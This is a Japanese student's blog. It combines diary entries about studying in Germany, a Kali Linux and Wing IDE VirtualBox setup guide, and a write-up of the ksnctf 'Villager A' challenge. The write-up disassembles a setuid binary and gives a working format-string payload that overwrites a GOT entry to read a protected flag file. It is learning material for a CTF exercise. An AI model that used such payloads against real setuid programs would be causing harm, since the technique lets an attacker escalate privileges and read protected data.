ドイツ生活75日目(12.05.2017)

75日目です. 今日は土曜日ですよね.

なぜ, 投稿が遅くなったのかと言うと,

色々と解決しようとやってみたんですけど, 原因すらわからなかったので寝ました.

 

起きたら治ってました.

は?

 

 

そんなこんなで, 治ったので昨日のまとめ.

 

起きるの早かったです. 予定があったので.

慣れないことすると眠い;;

 

講義があるので学校に行きます. 結構楽しみにしてました.

む!!!

解散....

 

 制御工学懐かしい🤔

 

 👍

 

 届くの月曜日らしいです..

 

最近ハリネズミ本を読み進めています.

頑張れば週末中に読了できそう..?

 

最高に美味しい.

 

 クソクソのクソ.

昼ごはん食べて買い物行って, 研究室で読んで..

適当に過ごして部屋に帰りました.

 

 ソーセージ美味しい.

 

この後は最初に書いた, ネットワーク障害が起きてました.

ではまた今日の夜に.

 

 

ドイツ生活74日目(11.05.2017)

74日目です.

今日はドイツ語の講義があるので, 早起きしましたよ.

 

 起きたらね, 講義始まってる時間でしたよ.

諦めて, セキュキャンの応募のあれ書いてました. 書いてました?

まだ何も書いてないよ.

 

今まで作って来たものとか, 何があるんだろうと言う感じ..

 いい加減モニター増やしたいなーと.

ユーロ高いんですよね今. 買いましたが.

 

起きたらお昼近かったので, 買い物行ってから研究室inしました.

研究室着いてからは論文を少し読んで, ハリネズミ本のpwn章読んでました.

一応読み終えましたが, もう一回くらいは読まないと理解できてないっぽいです.

 

が, 

理解の助けになる事が書いてあったので, だんだんわかるようになってきました.

ほほ〜ん と言う感じです.

 

読んでたらお腹すいて来たのでお家に帰りました.

晩御飯はキャベツとピザです.

 

bataさんリストの最初の問題やってました.

バイナリで大体の流れは理解できるようになりました(簡単なものなら).

 

今日はこんな感じです.

明日は朝早いので, 早めに寝ます.

ではまた.

ドイツ生活73日目(10.05.2017)

73日目です.

今日は講義がない日です.

 

約束があったのですが, 2人とも10時くらいに起きたので今日は無しになりました.

そして12時からチームミーティングです.

 

 脱出するコツを教えて欲しい.

 

 ミーティングのあとご飯食べました.

焼きそばっぽいやつです.

 

 

一旦部屋に戻ったらやつがいました.

指を舐められました. かわいかった.

 

いつも外でちょこんと座ってるんですけど, 僕がいると寝っ転がります.

めっちゃかわいい.

 

かわいい..

 

 書きました.

こんな感じの記事と, ゆうけむにっきを分けるかっていうことなんですけど, 別のブログ建てて切り替えるのとかが煩わしいしやめます.

ドイツ生活n日目も, 日本帰ったら終わりですしね.

 

 

Mac OSなら最初にそう書けや!!

叩いてるコマンドに 

$ brew

って書いてるのをみて初めて気づくようなものがたまにありますね.

端的に言ってクソでしょ. おい聞いてんのかQiita. 

タイトルに書くとまではいかなくても, 人に見てもらう以上最初に環境示すのは普通じゃないんですかね. 知りませんけど.

 

Ubuntuの人が多いです.

ROS使ってるからですかね..?

 

 

今日はこんな感じの1日でした.

部屋帰ったらルームメイトがビーフを振舞ってくれました. おいしかったです.

ではまた明日.

Kali Linux for Mac VirtualBox のセットアップ的な ~サイバーセキュリティプログラミング~

出国前に買って, 時間があるときに読み進めようと思って持って来ていたので, やっていき という感じの記事です. 

www.oreilly.co.jp

を読むにあたり, 最初にKali Linuxを導入しようという章があります.

僕は面倒だったのでVagrantで動かそうとしていましたが, どうやらWing IDEというものを使うらしいので諦めて導入します.

"MacWindows, どっちのOSで導入してる記事なのかわからない" とか言ってる奴は記事タイトルをちゃんと読め

 

Windows兄貴はこちらをご参照.

qiita.com

 

VMの導入は済ませてある前提で進めます.

Downloads – Oracle VM VirtualBox

 

Kali Linux のiso ダウンロードはこちらから.

www.kali.org

 僕は Kali 64 bit を選択しました.

 

早速やっていきます.

f:id:ushiromiya3:20170511003408p:plain

名前はなんでもいいです.

タイプは Linux

バージョンは Debian(64-bit)

メモリやハードディスクの仕様はお好みで.

ハードディスクは多めに確保しておくといいです. あとで理由を説明します.

 

f:id:ushiromiya3:20170511003715p:plain

新しく追加したHogeを起動しましょう.

 

f:id:ushiromiya3:20170511003807p:plain

isoファイルの場所を聞かれるので, フォルダマークをクリックしてファイルを洗濯します.

 

 

f:id:ushiromiya3:20170511004026p:plain

この画面になれば順調です.

色々と表示されていますが, 画像中で選択してある Graphical install を選択してください.

僕は一番上を選択して, シャットダウンして次の日再起動したらファイル全部消えてました.

1日フレンズかよ

 

少し待つべし.

 

f:id:ushiromiya3:20170511004348p:plain

ホスト名はなんでもいいです. 自由に決めてください.

 

f:id:ushiromiya3:20170511004431p:plain

ドメイン名は local にしました.

 

f:id:ushiromiya3:20170511004500p:plain

rootのパスワードは root にするのが慣例らしいです.

 

ここからが大変. ディスクのパーティション設定です.

f:id:ushiromiya3:20170511004727p:plain

といっても, この項目が終わるまで Enter 押すだけでいいんですけどね.

ハードディスクの設定で割り当てが少ないとエラーが出るので, もしエラーが出たらディスク割り当てを多めに確保してください.

 

f:id:ushiromiya3:20170511005440p:plain

この画面になったら, はい を選択してください.

システムインストールが始まるので少し待つべし.

 

 

f:id:ushiromiya3:20170511010221p:plain

 はい を選択.

 

f:id:ushiromiya3:20170511010347p:plain

プロキシは使っている人は入力してください.

使ってない人は空のままで大丈夫です.

 

f:id:ushiromiya3:20170511010446p:plain

f:id:ushiromiya3:20170511010545p:plain

手動で入力したいひとはそちらをどうぞ..

僕は詳しくないのでデフォルトにしました.

 

f:id:ushiromiya3:20170511010514p:plain

わーい!!

 

あとは放置してたら勝手に再起動してくれます.

(再起動前のスクショ撮ろうとしたら間に合わなかった)

f:id:ushiromiya3:20170511010749p:plain

ユーザー / パス はさっき設定した root 

 

f:id:ushiromiya3:20170511010912p:plain

これでKali Linux の導入は終わりです.

 

キーボードの日本語化をしよう

デフォルトでUSになってるので, 日本語版にしたい人は変えましょう.

さっきの画像の右上の方に "en" って書いてあるのが見えますか?

それをクリックして日本語を選択して終わり.

 

 

面倒なことに気づいた

言語設定を日本語にしてると, キーボードで日本語入力できるようにしないといけないので, 最初の言語設定をEnglishにしましょう.

日本語必要ある?

 

Wing IDEのインストー

wingware.com

ここからダウンロードできます.

そこまでガンガン使ってくという感じでもないので, Personalで十分だと思います. お金がある人はProを買いましょう. 

 

ダウンロードが終わったら, debファイルがあるディレクトリで

$ dpkg -i wingide-personal6_6.0.5-1_amd64.deb

を叩いて終了.

 

アプリケーションの検索で "wing" まで打つと出てきます.

WingIDEはpythonのコードにブレークポイントを仕掛けて, その時点での変数状況等が視認できたり, 色々な機能が搭載されています.

 

 

最後に

これでKali Linux と Wing IDE の導入は終わりです.

Let's enjoy security programming! (お前が言うな)

ドイツ生活72日目(09.05.2017)

72日目です. どぴゅ

 

今日になるのか昨日になるのか, 朝5時くらいまで起きてました.

寝たのはそのあとで, 10時に目が覚めました.

 

いい加減髪切りたいと思ったので行きました.

 ドイツ語しか無理って言われたので, 適当に答えてました.

Google翻訳も回線が弱くて使い物になりませんでした.

 

 恐竜好きです.

 

 ;;

研究室ついてからは本読んだりですね.

研究どうしよう.

 

来週か再来週の土曜日にあるらしいので行こうと思います.

 

某本で入れるように促されたので.

 

 夜はピクトセンスやってました.

明日は講義はありませんが, 朝早めに学校行くので頑張って起きます.

ではでは.

ドイツ生活71日目(08.05.2017)

71日目です.

昨日までの疲れもあって, 今日はお昼まで寝てました

 起きたらお昼...

 

・。・v

 

少し寒いですね.

日本は今どうなんでしょうか. そろそろ梅雨で蒸し暑くなってくるんですかね.

ヨーロッパは乾燥してるので夏過ごしやすくていいね〜とか言ってたんですけど, よく考えたら夏は日本にいるんですよね. Fu*k

 

 途中マイクラやってたので, 記事書くまでの時間が結構空いてます.

 

 筆記体になってて草.

ちゃんとスタイル設定しないとなあと.

 

バイナリも前にやった頃よりも読めるようになってるので大体の流れはわかるんですけど, まだ至らないところがあります.

 

記事書いてたら日付変わってました. お風呂.

 

 やったぜ.

 

これ嫌い. 

 

ではまた明日.

 

村人Aに挑戦した

前に一度, 様々な記事を参考にしながら解いたんですが, その後色々と勉強したので復習も兼ねてまたやってみることにしました.

 

この記事はヒントとかではなく, 最後Flagの出力まで書いてあるのでTPISだけ欲しい人にはおすすめできません.

書いてあることが合ってる保証もないです

 追記 : ブログのスタイルが原因で, 追記が相当見にくいです. あとでどうにかします

問題

ksnctf.sweetduet.info

 

解き始める前に

SSHでログインしないと始まらないので, 早速ログインします.

 

 $ ls -l

-r--------. 2 q4a q4a 22 5月 22 02:12 2012 flag.txt
-rwsr-xr-x. 1 q4a q4a 5857 5月 22 11:21 2012 q4
-rw-r--r--. 1 root root 151 6月 1 04:47 2012 readme.txt 

 ファイルを確認すると FLAGが書いてあるであろうテキストファイルと "q4" と READMEがあることが確認できます.

 

flag.txtは読み込めないので, とりあえず q4 のファイル形式と READMEの確認をします.

$ file ./q4

./q4: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped

ELF形式32 [bit]の実行ファイルであることが判明しました.

READMEには, "(前略) 必要なら /tmpを使ってね" と書いてありました.

 

では q4 を実行してみましょう.

$ ./q4

What's your name?
ykm
Hi, ykm

Do you want the flag?
Yes
Do you want the flag?
yes
Do you want the flag?
No
Do you want the flag?
no
I see. Good bye.

 名前を入力して, そのあとは "no" と打つまでずっと繰り返されます.

ltrace / strace は使えなかったので逆アセンブルします.

(gdbはやってみましたが使い方がよくわかってないです>< 今後の課題..)

横着して見たまま編集にしてるので, 逆アセンブルの結果見辛くなってます;;

重要な部分以外は省略しています.

$ objdump -d -M Intel ./q4

./q4: file format elf32-i386

 

08048474 <putchar@plt>:
8048474: ff 25 e0 99 04 08 jmp *0x80499e0
804847a: 68 08 00 00 00 push $0x8
804847f: e9 d0 ff ff ff jmp 8048454 <_init+0x30>

 

080485b4 <main>:
80485b4: 55 push %ebp
80485b5: 89 e5 mov %esp,%ebp
80485b7: 83 e4 f0 and $0xfffffff0,%esp
80485ba: 81 ec 20 04 00 00 sub $0x420,%esp
80485c0: c7 04 24 a4 87 04 08 movl $0x80487a4,(%esp)
80485c7: e8 f8 fe ff ff call 80484c4 <puts@plt>
80485cc: a1 04 9a 04 08 mov 0x8049a04,%eax
80485d1: 89 44 24 08 mov %eax,0x8(%esp)
80485d5: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp)
80485dc: 00
80485dd: 8d 44 24 18 lea 0x18(%esp),%eax
80485e1: 89 04 24 mov %eax,(%esp)
80485e4: e8 9b fe ff ff call 8048484 <fgets@plt>
80485e9: c7 04 24 b6 87 04 08 movl $0x80487b6,(%esp)
80485f0: e8 bf fe ff ff call 80484b4 <printf@plt>
80485f5: 8d 44 24 18 lea 0x18(%esp),%eax
80485f9: 89 04 24 mov %eax,(%esp)
80485fc: e8 b3 fe ff ff call 80484b4 <printf@plt>
8048601: c7 04 24 0a 00 00 00 movl $0xa,(%esp)
8048608: e8 67 fe ff ff call 8048474 <putchar@plt>
804860d: c7 84 24 18 04 00 00 movl $0x1,0x418(%esp)
8048614: 01 00 00 00
8048618: eb 67 jmp 8048681 <main+0xcd>
804861a: c7 04 24 bb 87 04 08 movl $0x80487bb,(%esp)
8048621: e8 9e fe ff ff call 80484c4 <puts@plt>
8048626: a1 04 9a 04 08 mov 0x8049a04,%eax
804862b: 89 44 24 08 mov %eax,0x8(%esp)
804862f: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp)
8048636: 00
8048637: 8d 44 24 18 lea 0x18(%esp),%eax
804863b: 89 04 24 mov %eax,(%esp)
804863e: e8 41 fe ff ff call 8048484 <fgets@plt>
8048643: 85 c0 test %eax,%eax
8048645: 0f 94 c0 sete %al
8048648: 84 c0 test %al,%al
804864a: 74 0a je 8048656 <main+0xa2>
804864c: b8 00 00 00 00 mov $0x0,%eax
8048651: e9 86 00 00 00 jmp 80486dc <main+0x128>
8048656: c7 44 24 04 d1 87 04 movl $0x80487d1,0x4(%esp)
804865d: 08
804865e: 8d 44 24 18 lea 0x18(%esp),%eax
8048662: 89 04 24 mov %eax,(%esp)
8048665: e8 7a fe ff ff call 80484e4 <strcmp@plt>
804866a: 85 c0 test %eax,%eax
804866c: 75 13 jne 8048681 <main+0xcd>
804866e: c7 04 24 d5 87 04 08 movl $0x80487d5,(%esp)
8048675: e8 4a fe ff ff call 80484c4 <puts@plt>
804867a: b8 00 00 00 00 mov $0x0,%eax
804867f: eb 5b jmp 80486dc <main+0x128>
8048681: 8b 84 24 18 04 00 00 mov 0x418(%esp),%eax
8048688: 85 c0 test %eax,%eax
804868a: 0f 95 c0 setne %al
804868d: 84 c0 test %al,%al
804868f: 75 89 jne 804861a <main+0x66>
8048691: c7 44 24 04 e6 87 04 movl $0x80487e6,0x4(%esp)
8048698: 08
8048699: c7 04 24 e8 87 04 08 movl $0x80487e8,(%esp)
80486a0: e8 ff fd ff ff call 80484a4 <fopen@plt>
80486a5: 89 84 24 1c 04 00 00 mov %eax,0x41c(%esp)
80486ac: 8b 84 24 1c 04 00 00 mov 0x41c(%esp),%eax
80486b3: 89 44 24 08 mov %eax,0x8(%esp)
80486b7: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp)
80486be: 00
80486bf: 8d 44 24 18 lea 0x18(%esp),%eax
80486c3: 89 04 24 mov %eax,(%esp)
80486c6: e8 b9 fd ff ff call 8048484 <fgets@plt>
80486cb: 8d 44 24 18 lea 0x18(%esp),%eax
80486cf: 89 04 24 mov %eax,(%esp)
80486d2: e8 dd fd ff ff call 80484b4 <printf@plt>
80486d7: b8 00 00 00 00 mov $0x0,%eax
80486dc: c9 leave
80486dd: c3 ret
80486de: 90 nop
80486df: 90 nop

 

fgets で 名前入力してから, printf で "Hi, name" が表示されているようですが

printf が2回callされています. (そのあとの putcharは改行(\n)であると予想できます.)

 

FSA問の可能性が高いことがわかります.

FSAとは, printf()が

printf("%s", fmt) ;

のような記述ではなく

printf(fmt) ;

のように, 入力した文字列をそのまま出力するように記述されている脆弱性です.

入力文字列にフォーマット指定子が含まれると, printf関数が認識してスタックから値を取ってこようとします. 

fasに関しては, Wikiなどで調べてください>< 

 

つまりは, 

printf("Hi, %s", name); ではなく

printf("Hi"); printf(fmt); になっているから, メモリなどを実行者が自由に書き換えることが可能だということです. 

 

実際にやってみます.

$ echo "aaaa %x %x %x %x %x %x %x %x" | ./q4
What's your name?
Hi, aaaa 400 5048c0 8 14 7dffc4 61616161 20782520 25207825 

入力に書式指定子 "%x" が含まれていると printf("%x") として実行されてしまうので

スタックの上から順に値を出力します.

入力した文字列はスタック上のどこかにあるので, %x を繰り返しているといつか文字列そのものが表示されます.

入力した"aaaa"に対応する"61616161"は 400 から順に数えて6番目に出てきました.

 

アセンブルの結果から, fopenでflag.txtを読み込もうとしているけれど, その前の jmp や jne によって飛ばされていることがわかります.

 

つまり, FSAを使うことでputchar が jmpしようとしている 0x080499e0 0x08048691

に書き換えてしまうことでfopenを実行させます.

 

ここで書式指定子 "h" と "n" がでてきます.

"%n" は それまでに出力した文字数分を指定した部分に書き込みます.

”%n”だと4バイトを一気に書き込むので, "h"を使用して2バイトの書き込みにします.

"%hhn"にすると1バイトずつの書き込みになります.

"%数字$x"では, スタック上の何番目を取ってくるか指定できます.

[q4@localhost ~]$ echo -e "AAAA %6\$x" | ./q4
What's your name?
Hi, aaaa 61616161

つまり,

書き換えたいアドレスを指定し, %6$hn" と "%7$hn" で

スタックの6番目と7番目に2バイトずつ, 8691 0804(リトルエンディアンに注意) になる様に書き換えてやればいいわけです.

書き換えたいアドレスは 

0x80499e0 と 0x80499e2 (2バイトずつ) なので, 最初のアドレス指定は

"\xe0\x99\x04\x08\xe2\x99\x04\x08"

すでにアドレス指定で8文字出力しているので,

0x8691 - 0x08 = 34441

0x10804 - 34441 = 33139

 

2バイトずつ, それぞれ指定したアドレスに書き換えたい数値分を入力とすると

"\xe0\x99\x04\x08\xe2\x99\x04\x08%34441x%6\$hn%33139x%7\$hn"

 

 

 

$ echo -e "\xe0\x99\x04\x08\xe2\x99\x04\x08%34441x%6\$hn%33139x%7\$hn" | ./q4

でフラグが入手できます.

 

感想

書いてて自分でもあまりわかってない部分があることがわかりました.

そもそも自分で書いてあることが正しいのかわかってないです(大問題).

特に 書式指定子hnとかは全くだったのでもっと精進します.

正直FSAの他の問題が出ても自力で解ける気がしないです..

まだsolveしたとはとても言えませんね.

日を改めて再挑戦, というよりかはもっと知識をつけようと思います.

 

参考にしたところ

ksnctf #4 Villager A - かたはらいたし。

format string attackによるGOT overwriteをやってみる - ももいろテクノロジー

format string attackによるGOT overwriteをやってみる - ももいろテクノロジー